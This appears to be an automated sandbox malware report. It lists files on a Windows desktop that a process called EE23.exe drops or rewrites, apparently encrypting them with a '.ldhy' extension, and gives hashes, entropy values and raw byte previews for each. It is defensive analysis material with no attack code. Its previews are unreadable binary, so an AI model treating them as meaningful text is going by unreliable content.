                                                                                                                                                                                                                                                              Preview:EEGWX..*.15..1d/bB.z.....y_n'bB...Tg.]!...k1h....A.hYR.>..(s....#J.oH.....##.....N3.....Z...s..1...ig.>....G..~bD.(......G.u...3{z.....v.t..:..t>I<...`...8.k..I.. ...@p..:FL.6.Mz.....=....S.s~.S..^>u........=.......1.Ta.U.SV.........!..u.EM..pAE.\.,.^.j........R+..6*..j..|....V.].mW'~..Oa.).........5..2s8z...b..fM.]..O7.1G.0..@.<.#..p.r....E.....C.1U...!..v..-...h8..M.b._Yc..X|.yq...d.YT4.J...+c.9.8.%.}*..p.pT.Q.....HL.9f.X]N.'..^3Sd.H....:_.;.4..F..1..\RBtU9.?..g...(.pz.,.%........<+-.l.J..J.....2`.79.}....+.*.5...."y...|..-S....z..3t...w.H_.B..S,.!....Y....p.~L.I]..c.+...f.9...).....?$H..?&[.c.M.&...v+......-..`Z./.R...xT..L.t.u.A.A]......^.I.........K.%.sF.B..._...`Mq..m.s.....U[.Z.....L..........@....{...j...............n...a6.u.J......-.qkF0.X;).#...Rl.G.5.q.Gn...Y..:.."a.!g..,.zs.j._.......z.l.1d...5G...u-.!.QT.........e...2...vN...x.[.QYo....yL...:O..V...7.xq..X>8......*......!..3`.......f.).n..M.{.zhE]P..veB.W.+F.m..&3..8.F.t.dpf

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\EIVQSAOTAQ.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.868964610094865
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RqUQwD0J7Lp/2/A4zUD1zIi1olkqlwiuT0dwwt/qJ5ia9k/+FC1sbD:Z0J7F/J4zw1zvoVwTktC8aE1mD
                                                                                                                                                                                                                                                              MD5:F5CF9A9138462E0EB9AD05C70633C250
                                                                                                                                                                                                                                                              SHA1:C07264B6C248A30DB1D5CB6325AEB080F3F10094
                                                                                                                                                                                                                                                              SHA-256:E64A310E43A2BB46341626CEC73F6E8E7B63625B0A9978F8F384649B449D93EC
                                                                                                                                                                                                                                                              SHA-512:596CD69CA1882A5EE44E27A20CF9C1399B76C31DE971EA9097FCAA2CCF881BE4ACAB1A469F73C4477EAF327AE0B49F8F381BAC228456E7289C1807DEA267282F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS.SU*eg...ONs.....o..._....X.B67.=u..7.U..H?.T.V..q..Ig6.......I.q....i..'#.u.d.x......+..y...._.!....oPv.p~.g...gp.w):$....".r-.....-}.0Z..R..\[SO....A...cE....5....rM.GS4:......Bm..j.....eO..p.....J.!h....Z....2...g3. ...@....z..q../ (Z.\...T...?.:.*.Cf.n..........lh.Cb....l.|..7.....bq....J..R...|}!.2;+m....d..$.N%......p$e.......b1...t...D..4.l._U>..g.x."..J..b.....c....F.....X.>...... I...|....L...>.....G...v.t...R...[+..~.R$.XU)[?L.H..Y....H....#U.n.I.....B{y.........jr.8.O...V..'..T..[..a..0A.;1...6..Ol._.&..T...k.#..++2.b...."Cv.^T.5...7m....I....F..|..,......A.~g..R>p.@..X..>.t3.`3A.y..~E#.-..'.3.tX.$.....B...p...0.FsY....E.....Q_c.R....n.ZQ..=5.z.o....;_....J.nl....2.?_A..+0.....8T....<..[...0....)/.9..'qZ.6....7....X.^.vH.e...#.?Yi...j......{..}..(v.!.o.1I}......p...2|...D...O....9Y.K$H..34=Z..]....2X. _.+c./..?\S^8.b..w.'......0Dp.,(f..q.P!...)...}p..IJ.V........M.W........x.).xi...6~M.e.(Lc..g.o..vD$..1.q.....`...`.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\EIVQSAOTAQ.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.868964610094865
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RqUQwD0J7Lp/2/A4zUD1zIi1olkqlwiuT0dwwt/qJ5ia9k/+FC1sbD:Z0J7F/J4zw1zvoVwTktC8aE1mD
                                                                                                                                                                                                                                                              MD5:F5CF9A9138462E0EB9AD05C70633C250
                                                                                                                                                                                                                                                              SHA1:C07264B6C248A30DB1D5CB6325AEB080F3F10094
                                                                                                                                                                                                                                                              SHA-256:E64A310E43A2BB46341626CEC73F6E8E7B63625B0A9978F8F384649B449D93EC
                                                                                                                                                                                                                                                              SHA-512:596CD69CA1882A5EE44E27A20CF9C1399B76C31DE971EA9097FCAA2CCF881BE4ACAB1A469F73C4477EAF327AE0B49F8F381BAC228456E7289C1807DEA267282F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS.SU*eg...ONs.....o..._....X.B67.=u..7.U..H?.T.V..q..Ig6.......I.q....i..'#.u.d.x......+..y...._.!....oPv.p~.g...gp.w):$....".r-.....-}.0Z..R..\[SO....A...cE....5....rM.GS4:......Bm..j.....eO..p.....J.!h....Z....2...g3. ...@....z..q../ (Z.\...T...?.:.*.Cf.n..........lh.Cb....l.|..7.....bq....J..R...|}!.2;+m....d..$.N%......p$e.......b1...t...D..4.l._U>..g.x."..J..b.....c....F.....X.>...... I...|....L...>.....G...v.t...R...[+..~.R$.XU)[?L.H..Y....H....#U.n.I.....B{y.........jr.8.O...V..'..T..[..a..0A.;1...6..Ol._.&..T...k.#..++2.b...."Cv.^T.5...7m....I....F..|..,......A.~g..R>p.@..X..>.t3.`3A.y..~E#.-..'.3.tX.$.....B...p...0.FsY....E.....Q_c.R....n.ZQ..=5.z.o....;_....J.nl....2.?_A..+0.....8T....<..[...0....)/.9..'qZ.6....7....X.^.vH.e...#.?Yi...j......{..}..(v.!.o.1I}......p...2|...D...O....9Y.K$H..34=Z..]....2X. _.+c./..?\S^8.b..w.'......0Dp.,(f..q.P!...)...}p..IJ.V........M.W........x.).xi...6~M.e.(Lc..g.o..vD$..1.q.....`...`.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.846715502068902
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:svcNQVmmNuJnUQv4XZbtwJMaFaURNTBMNJWhiM7v8AOsPDqHP4rNJPsbD:sk2UKppv6BMKiMbbOsrqv4PmD
                                                                                                                                                                                                                                                              MD5:A9C23F31D5A431183572BB7E0B736300
                                                                                                                                                                                                                                                              SHA1:1AD007C2FC835BB7160C802BA3D6F57E3F01855C
                                                                                                                                                                                                                                                              SHA-256:F58505955A16700DB320CC7AE6EFE05184DE8C610AB4D5EA6F58FCA19EB20064
                                                                                                                                                                                                                                                              SHA-512:76162A6EBA526D7144A15347AFE8E70043099787A8CEF445AF95CEC14F32EA1064CABEA2B8DCD8A707EB55D920D9A5FE4E473B83857EB963C847C4DFB8A3715B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD.P.S.xO...Z.d.."]:.A.7Yo.......=qE..^)U.+....Gx;[U#....e.n.p..Z..5.....^.9L)Z...tCE..*.S.+.....\c..V....W.d.Q....M-(4.ycf.....:.lpv.6..@.z0qk..h..fb........`../q..A..O7R..7. ..B....o.........Q_.e...D.s.u.......E.....*>.q._w.:...0.UG........DR..8...aF.(b_....(..Q.'cS...H.z...F..K..4d.<.*w.3.0)I.j..Tz.Wqp....h.?.co..A......;....Z...I.f..>d5...ifi..q...+....8.=.g.F..\_1..{O..\5f.70...l..v.@..n;0...0..d..x.h.E&.1...g{.>.........Nz...).T.`0.e..4'J8v.i{...j.0\...S.BC#.Ut..k....C}w..T.. %.Gz:....W1+...s..I.At..@.%.XzM.a..$#.....m..._e>...[..@#.....ci.9w.r.Jz..............Y"..Zl..`....3..#1`BT......"_..5M.....a..k...(..B6...Y.=.p-.....]...s8...~u6..d..U.=.+}..U....n.N:..c].O...%3.2.o.."....t....l......!..#.}u....H.....~..d.u..g.;.0...j;..Y.^....VZp.s'......"H..E6....'.>hr...!cj.M..d.f9p..`U.hx..@P./+h9E......._....B....x#.;...1.H..[.R..P....D~....vp."..:.#.........*..4Bod.._.<.....P.1..8V.Si..S...#>...=...#f.g4D.S...;...}...#~.UO.a..N.p.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.846715502068902
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:svcNQVmmNuJnUQv4XZbtwJMaFaURNTBMNJWhiM7v8AOsPDqHP4rNJPsbD:sk2UKppv6BMKiMbbOsrqv4PmD
                                                                                                                                                                                                                                                              MD5:A9C23F31D5A431183572BB7E0B736300
                                                                                                                                                                                                                                                              SHA1:1AD007C2FC835BB7160C802BA3D6F57E3F01855C
                                                                                                                                                                                                                                                              SHA-256:F58505955A16700DB320CC7AE6EFE05184DE8C610AB4D5EA6F58FCA19EB20064
                                                                                                                                                                                                                                                              SHA-512:76162A6EBA526D7144A15347AFE8E70043099787A8CEF445AF95CEC14F32EA1064CABEA2B8DCD8A707EB55D920D9A5FE4E473B83857EB963C847C4DFB8A3715B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD.P.S.xO...Z.d.."]:.A.7Yo.......=qE..^)U.+....Gx;[U#....e.n.p..Z..5.....^.9L)Z...tCE..*.S.+.....\c..V....W.d.Q....M-(4.ycf.....:.lpv.6..@.z0qk..h..fb........`../q..A..O7R..7. ..B....o.........Q_.e...D.s.u.......E.....*>.q._w.:...0.UG........DR..8...aF.(b_....(..Q.'cS...H.z...F..K..4d.<.*w.3.0)I.j..Tz.Wqp....h.?.co..A......;....Z...I.f..>d5...ifi..q...+....8.=.g.F..\_1..{O..\5f.70...l..v.@..n;0...0..d..x.h.E&.1...g{.>.........Nz...).T.`0.e..4'J8v.i{...j.0\...S.BC#.Ut..k....C}w..T.. %.Gz:....W1+...s..I.At..@.%.XzM.a..$#.....m..._e>...[..@#.....ci.9w.r.Jz..............Y"..Zl..`....3..#1`BT......"_..5M.....a..k...(..B6...Y.=.p-.....]...s8...~u6..d..U.=.+}..U....n.N:..c].O...%3.2.o.."....t....l......!..#.}u....H.....~..d.u..g.;.0...j;..Y.^....VZp.s'......"H..E6....'.>hr...!cj.M..d.f9p..`U.hx..@P./+h9E......._....B....x#.;...1.H..[.R..P....D~....vp."..:.#.........*..4Bod.._.<.....P.1..8V.Si..S...#>...=...#f.g4D.S...;...}...#~.UO.a..N.p.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\KLIZUSIQEN.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.854999349968968
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bIj0L8gEW/70Gr2cLJwqw451PDUAYiDTrRMspfiz6VgFDZAlgfsbD:kAx/7Zr2cNJ551PoAYGpMyfFgFDulgf+
                                                                                                                                                                                                                                                              MD5:71C3B754F3F609F3D20AEABD92851273
                                                                                                                                                                                                                                                              SHA1:D55DBA0FD8E2AE810EAB34599492672D2F497FE8
                                                                                                                                                                                                                                                              SHA-256:FCD068B3B3C287E31C19613D9A44F6DF60C3BD18B21EE21F28564AC7ACC1F32F
                                                                                                                                                                                                                                                              SHA-512:A533374220488170CBE4971E322CC6193A268C7B6C91934CE26EC978AFE9FE3ACE9435129A053A811C59BD4800335BA2BCAFB78003A03690CE70882DF8AB2FD3
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZU...d..d....bZJ.p..X{.FZ.G.|.?....g[..#./....-....@....n..j......I.r z3..}.i...aGy...TQ.AX..V.S....u......i.t..j.P..$..k..n........Sm[..h....Q.w.;..Q.JJ.>Z.rP.i....!...d.#]p. }.....y...P8t.Q.^..]!.='...W>..B*NC[w.u-,.+J.O2..U.Rm....Y..3..e.W.o.8....W`b..2.s.p.9...G}..K..t..p.....^....I:......N...V*t.a....@kMk..tYw......]..w.S3?VV..&...eR.c.....]..?....X....c../.......l.^./..!C...LZ.jM.FnB....._...*.G.........-.G....M..N..b.......$u.....<.b...+{.....e...P...(./.`..`t...D=...@.c..#]Kt..Y.'..rD&.~.c.Q..K.J..wy...)7.R`Q.....,CN M].`.R.,Yoo.>....8>C.8z..x.v.:..Q.B29s.y#.3-..D.~..6L......#......{...I.. .-.h.`$."G}......y.O....z..9..&K..e.{......'....4.......~=r.Z......Q.e.8T...&9]FR..4..........H.D.H.Ka7'.~...A].v.;;..<...#.N@B..j.k.3<...+6&?|./.2.@~j.....L.\Q..F%..x{Z..m.O?.M..G.6$"%...k...<]..#c...s..}#u<&1.5....C'-...)]O..;....*D.....5..?.M..r.......B/..y.|.._....2Y>tY..;..iNgs...[.....v..w...ax.....|.0..J&..X.......G.{..#by.:.Z...a......

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\KLIZUSIQEN.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.854999349968968
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bIj0L8gEW/70Gr2cLJwqw451PDUAYiDTrRMspfiz6VgFDZAlgfsbD:kAx/7Zr2cNJ551PoAYGpMyfFgFDulgf+
                                                                                                                                                                                                                                                              MD5:71C3B754F3F609F3D20AEABD92851273
                                                                                                                                                                                                                                                              SHA1:D55DBA0FD8E2AE810EAB34599492672D2F497FE8
                                                                                                                                                                                                                                                              SHA-256:FCD068B3B3C287E31C19613D9A44F6DF60C3BD18B21EE21F28564AC7ACC1F32F
                                                                                                                                                                                                                                                              SHA-512:A533374220488170CBE4971E322CC6193A268C7B6C91934CE26EC978AFE9FE3ACE9435129A053A811C59BD4800335BA2BCAFB78003A03690CE70882DF8AB2FD3
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZU...d..d....bZJ.p..X{.FZ.G.|.?....g[..#./....-....@....n..j......I.r z3..}.i...aGy...TQ.AX..V.S....u......i.t..j.P..$..k..n........Sm[..h....Q.w.;..Q.JJ.>Z.rP.i....!...d.#]p. }.....y...P8t.Q.^..]!.='...W>..B*NC[w.u-,.+J.O2..U.Rm....Y..3..e.W.o.8....W`b..2.s.p.9...G}..K..t..p.....^....I:......N...V*t.a....@kMk..tYw......]..w.S3?VV..&...eR.c.....]..?....X....c../.......l.^./..!C...LZ.jM.FnB....._...*.G.........-.G....M..N..b.......$u.....<.b...+{.....e...P...(./.`..`t...D=...@.c..#]Kt..Y.'..rD&.~.c.Q..K.J..wy...)7.R`Q.....,CN M].`.R.,Yoo.>....8>C.8z..x.v.:..Q.B29s.y#.3-..D.~..6L......#......{...I.. .-.h.`$."G}......y.O....z..9..&K..e.{......'....4.......~=r.Z......Q.e.8T...&9]FR..4..........H.D.H.Ka7'.~...A].v.;;..<...#.N@B..j.k.3<...+6&?|./.2.@~j.....L.\Q..F%..x{Z..m.O?.M..G.6$"%...k...<]..#c...s..}#u<&1.5....C'-...)]O..;....*D.....5..?.M..r.......B/..y.|.._....2Y>tY..;..iNgs...[.....v..w...ax.....|.0..J&..X.......G.{..#by.:.Z...a......

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\QCOILOQIKC.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.848990438118182
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:uzvf1NWMiD3gqBZ5moE+g82gcBqA6eZ9WiK5lk3AfMsbD:OFdiTrBZ5moE+QgfHeZciMfMmD
                                                                                                                                                                                                                                                              MD5:3E9F79DB15371C3AF1583E27B29741BB
                                                                                                                                                                                                                                                              SHA1:0C41DA81C01DA6B4A09558B8C07E368630328A66
                                                                                                                                                                                                                                                              SHA-256:62924EAE740B704E4514129F528DEBE28CAF0D38EC6619F82CC9E9AB6CAC7527
                                                                                                                                                                                                                                                              SHA-512:00B70EC3F0BB66092A3B1693D1853AC80F13BA2196B2DE6B8B9E16B08C505952B650A0BD8A19999BC55E48361DDE178780CC984904FE1FC828308EC583A5B338
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:QCOILM.@Wk...zv....G.p.42..N..o. ...k.Z.L...o..i..:..f'.#TZ..V...}.$....+j@~.;.....W..ES.m..-..].J..)........T..f..i..Xe.y.\..)...i.S%T..f..L...Gn{.u..k_..0;.[k.......N1.....i.........VBHn..h;.;@.,2...).z{....O..2*67.b..a|C.].ys..*u_.+.S.?.d...@..b...s....h'..o(...1....'..R/... C...[..Rl.......QED..U.D...e.("..lz\.8.GId&d.G...cd.,.pO...o...z......4...x..U..9N8.F.8........O...J..Z^^4.W.q.....z....c~. ..\...4.......:l.f=.!.c{C].L).0.tt......gL,G5p..M.y.....B.]n..`Uu.q.......h...-........)..D<...hE...`..I.'T..+W[.Q)9Z..E#K.$....+.b.. ....J~G$....N.U. L.a...x_.....T.]..T..y.AVk.}..t..A..\....f.....{....L..=w.o....t..K17....&.).xW.w.h.#.......'g...O.(.jA.....+.m8..f.w.b...K....p......H...&...............nh..kx.+.J?T:...T............zxA=..4.dFD1..'..o.S...5..h+Ci.r'.[.B%.Cd...2...e....\.6..r.....k...8..3S.9..\.\..x{..?....S.3.....8.*..............<U.x.i)....%0..RB.......+.&Ub...)-Y..^.i.....<e.].BA.qs;..CC.d...z..b.[.?..d.v..K..}F......g...B.6

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\QCOILOQIKC.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.848990438118182
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:uzvf1NWMiD3gqBZ5moE+g82gcBqA6eZ9WiK5lk3AfMsbD:OFdiTrBZ5moE+QgfHeZciMfMmD
                                                                                                                                                                                                                                                              MD5:3E9F79DB15371C3AF1583E27B29741BB
                                                                                                                                                                                                                                                              SHA1:0C41DA81C01DA6B4A09558B8C07E368630328A66
                                                                                                                                                                                                                                                              SHA-256:62924EAE740B704E4514129F528DEBE28CAF0D38EC6619F82CC9E9AB6CAC7527
                                                                                                                                                                                                                                                              SHA-512:00B70EC3F0BB66092A3B1693D1853AC80F13BA2196B2DE6B8B9E16B08C505952B650A0BD8A19999BC55E48361DDE178780CC984904FE1FC828308EC583A5B338
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:QCOILM.@Wk...zv....G.p.42..N..o. ...k.Z.L...o..i..:..f'.#TZ..V...}.$....+j@~.;.....W..ES.m..-..].J..)........T..f..i..Xe.y.\..)...i.S%T..f..L...Gn{.u..k_..0;.[k.......N1.....i.........VBHn..h;.;@.,2...).z{....O..2*67.b..a|C.].ys..*u_.+.S.?.d...@..b...s....h'..o(...1....'..R/... C...[..Rl.......QED..U.D...e.("..lz\.8.GId&d.G...cd.,.pO...o...z......4...x..U..9N8.F.8........O...J..Z^^4.W.q.....z....c~. ..\...4.......:l.f=.!.c{C].L).0.tt......gL,G5p..M.y.....B.]n..`Uu.q.......h...-........)..D<...hE...`..I.'T..+W[.Q)9Z..E#K.$....+.b.. ....J~G$....N.U. L.a...x_.....T.]..T..y.AVk.}..t..A..\....f.....{....L..=w.o....t..K17....&.).xW.w.h.#.......'g...O.(.jA.....+.m8..f.w.b...K....p......H...&...............nh..kx.+.J?T:...T............zxA=..4.dFD1..'..o.S...5..h+Ci.r'.[.B%.Cd...2...e....\.6..r.....k...8..3S.9..\.\..x{..?....S.3.....8.*..............<U.x.i)....%0..RB.......+.&Ub...)-Y..^.i.....<e.].BA.qs;..CC.d...z..b.[.?..d.v..K..}F......g...B.6

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.860101600096191
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:MSDJXiHbybCe09c0rp/XSB5mxIoygcAKtFyRhkgmEshzc/IgUlfToeEgsbD:MawHbybCN9c+XSB5FNgOynkzxxBDmD
                                                                                                                                                                                                                                                              MD5:EC02FCF07EFFA65BF22B0155FDB6073A
                                                                                                                                                                                                                                                              SHA1:77B00C431D026DA6DDD8AEE2FDE9E462AD7B99DF
                                                                                                                                                                                                                                                              SHA-256:B5CF8208E8AEACD35AEF846416E669E55903CA0C21C6D2B281661F675446F940
                                                                                                                                                                                                                                                              SHA-512:EFB89E6FE7796D72E13E3D0C8BB3899501F5EEE3B236336F9B957B622FF49EA2E28C83F6F2641C1B7DE6A46BF9D2B5BBA00B82C4CE8CED1FE09E74DF872D954D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EFOYF.J.e...8.k|..t'Gj....q....G0..P+n3M~...-.G..D..|.I#$|Ms.>e.Z.a.O.J.n/.....m.E|z}cL#...=..3.....Y..(...e.E.K...tQ...M.'...%.+.xJ....x=.b.-..S.....C..(...<,h...t...].+.`.. @.CW.J.-.N...._.L.....;8jx..p...a..........q.;.f.L~^@...8w....C...].6#.........B!..U.....7-R.h../8.....yH2.**^.&L....i.h.9.[5E.q7^.....8".M6O.....3...LO{.aV.yk.M.&w..M....Fz...m..R.4l+Bo.W...3i*,..tW.2.8.^.ng...w..S...t.....,....d.i#./..=.R.a%~...lM>.O..Nf.HB...DF..Q1.c....'..[vS#..}.,..q.c....w..5.......Y.p.Ly..t..Z....v....JB..H..3..-L[FG..Zt.-.......?,G.....M4fE....|.N.lYS..9...hr....n>.~-Wu......Y...B.|.9vPT.......s.....=41s...=s..^..Z...[....D".l..h...A.Z.....Z...1.E...V.....4....,.Fx.;gz.Z8{.....'...y..%..i0.j.YO.a..h...U...+.C.......l..N.3..9....)... J.....D"Sd.k3T..p..8.gIu.#...P8..5...e......_-yY...J..C..6H........!.F....D..7...Y9~....b..Q.7...O. .(k...o.Z.:..o.%:..gw..!H.r.u.(&.!."x..A.o..0...y!^...c..{.....M.O.}B.;.U.w%...y.+......G~.h...%......1...s%U...q..

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.860101600096191
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:MSDJXiHbybCe09c0rp/XSB5mxIoygcAKtFyRhkgmEshzc/IgUlfToeEgsbD:MawHbybCN9c+XSB5FNgOynkzxxBDmD
                                                                                                                                                                                                                                                              MD5:EC02FCF07EFFA65BF22B0155FDB6073A
                                                                                                                                                                                                                                                              SHA1:77B00C431D026DA6DDD8AEE2FDE9E462AD7B99DF
                                                                                                                                                                                                                                                              SHA-256:B5CF8208E8AEACD35AEF846416E669E55903CA0C21C6D2B281661F675446F940
                                                                                                                                                                                                                                                              SHA-512:EFB89E6FE7796D72E13E3D0C8BB3899501F5EEE3B236336F9B957B622FF49EA2E28C83F6F2641C1B7DE6A46BF9D2B5BBA00B82C4CE8CED1FE09E74DF872D954D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EFOYF.J.e...8.k|..t'Gj....q....G0..P+n3M~...-.G..D..|.I#$|Ms.>e.Z.a.O.J.n/.....m.E|z}cL#...=..3.....Y..(...e.E.K...tQ...M.'...%.+.xJ....x=.b.-..S.....C..(...<,h...t...].+.`.. @.CW.J.-.N...._.L.....;8jx..p...a..........q.;.f.L~^@...8w....C...].6#.........B!..U.....7-R.h../8.....yH2.**^.&L....i.h.9.[5E.q7^.....8".M6O.....3...LO{.aV.yk.M.&w..M....Fz...m..R.4l+Bo.W...3i*,..tW.2.8.^.ng...w..S...t.....,....d.i#./..=.R.a%~...lM>.O..Nf.HB...DF..Q1.c....'..[vS#..}.,..q.c....w..5.......Y.p.Ly..t..Z....v....JB..H..3..-L[FG..Zt.-.......?,G.....M4fE....|.N.lYS..9...hr....n>.~-Wu......Y...B.|.9vPT.......s.....=41s...=s..^..Z...[....D".l..h...A.Z.....Z...1.E...V.....4....,.Fx.;gz.Z8{.....'...y..%..i0.j.YO.a..h...U...+.C.......l..N.3..9....)... J.....D"Sd.k3T..p..8.gIu.#...P8..5...e......_-yY...J..C..6H........!.F....D..7...Y9~....b..Q.7...O. .(k...o.Z.:..o.%:..gw..!H.r.u.(&.!."x..A.o..0...y!^...c..{.....M.O.}B.;.U.w%...y.+......G~.h...%......1...s%U...q..

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.855380849996947
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:R5dq3dPuXLv39jqLoek42Z3PaYSu5g6eYTm51Zkt25GiB2Xc0WCppRpSvsbD:3U3kb39WUN42JCnR64Zx5Xe3ppRpSvmD
                                                                                                                                                                                                                                                              MD5:C4C411B106CF47048D88145FCAF3475D
                                                                                                                                                                                                                                                              SHA1:8F8EFD007427D8F4FF86AFBE74BAFD6264C916C3
                                                                                                                                                                                                                                                              SHA-256:974015D254C2D3244131CBE0CE55E598DC9B1FF8A2A973F27842B77D8F26C938
                                                                                                                                                                                                                                                              SHA-512:6E7C4EB332C9513AFB78648C1B876C39B352DD7DB2C96D8F404D9DA6BF77D25243F367202F4B4D7BE7DCCFE07E3D2569A8285F413CE93345A8531D98F7B5CAA4
                                                                                                                                                                                                                                                              Malicious:true
